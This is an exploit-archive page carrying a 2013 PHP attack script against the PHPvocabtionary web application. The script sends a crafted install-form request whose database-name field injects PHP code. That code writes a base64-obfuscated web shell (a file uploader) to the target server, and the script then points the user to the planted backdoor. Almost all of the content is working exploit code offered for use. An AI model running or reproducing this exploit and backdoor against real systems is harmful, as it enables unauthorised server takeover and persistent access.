exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHPvocabtionary Code Injection

PHPvocabtionary Code Injection
Posted May 7, 2013
Authored by Slotleet

PHPvocabtionary suffers from a PHP code injection vulnerability.

tags | exploit, php
SHA-256 | 35815077f57e1f2a0c402c5aa47bd660a80be4e101ed5ce9aa820d993b33b171

PHPvocabtionary Code Injection

Change Mirror Download
#!/usr/bin/php
<?
# Exploit Title : PHPvocabtionary Php code injection
# Date : 5/4/2013
# Author: Slotleet
# Slotleet () GMAIL com
# https://fb.com/Slot.leet
# Vendor Homepage:
http://sourceforge.net/projects/phpvocabtionary/files/latest/download
# Version affected : all
# Tested on: WIN 7 Xd4rk EDITION
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# PHPvocabtionary Multiple Vulnerabilities
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


error_reporting(0);


if ($argc < 3){
echo "+---------------------------------------+\n";
echo "+ Usage : $argv[0] localhost /vio +\n";
echo "+---------------------------------------+\n";
die();
}


$site = $argv[1];
$dir = $argv[2];

$b4ckd00r = '";$fp = fopen("s.php","w"); fwrite($fp,"<?php
eval(base64_decode(\'ZWNobyAnPGI+PGJyPjxicj4nLnBocF91bmFtZSgpLic8YnI+PC9iPic7DQplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOw0KZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7DQppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7DQoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGI+VXBsb2FkIFNVS1NFUyAhISE8L2I+PGJyPjxicj4nOyB9DQoJZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBHQUdBTCAhISE8L2I+PGJyPjxicj4nOyB9DQp9DQplY2hvICc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPk1MPSJSam5pcy9lIC5ySTx0aHpQUy1vbVRDZz46PXAiO01JPSI7QEUwOj9EN0AwRUk9PDxKSDU1PkIyNkE8OEI5RjUzQ0Y0NT44MTRHOzVARTA6P0RHIjtPVD0iIjtmb3Ioaj0wO2o8TUkubGVuZ3RoO2orKyl7T1QrPU1MLmNoYXJBdChNSS5jaGFyQ29kZUF0KGopLTQ4KTt9ZG9jdW1lbnQud3JpdGUoT1QpOzwvc2NyaXB0Pic7\'));");"';

$sl0t=array("dbName"=>"sl0t$b4ckd00r",
"dbUser"=>"sl0t",
"dbHost"=>"sl0t",
"dbPass"=>"sl0t",
"dbPrefix"=>"myvcb_"
);

$ch = curl_init("http://$site$dir/install/dbtes.php");
curl_setopt ($ch, CURLOPT_POST, true);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $sl0t);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$result = curl_exec($ch);

if ($result){

echo "+---------------------------------------+\n";
echo "+ Check http://$site$dir/search.php +\n";
echo "+---------------------------------------+\n";

echo "maybe exploited :D \n\n";
echo "now go to http://$site$dir/install/s.php to browse you're backdoor \n";
}

?>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close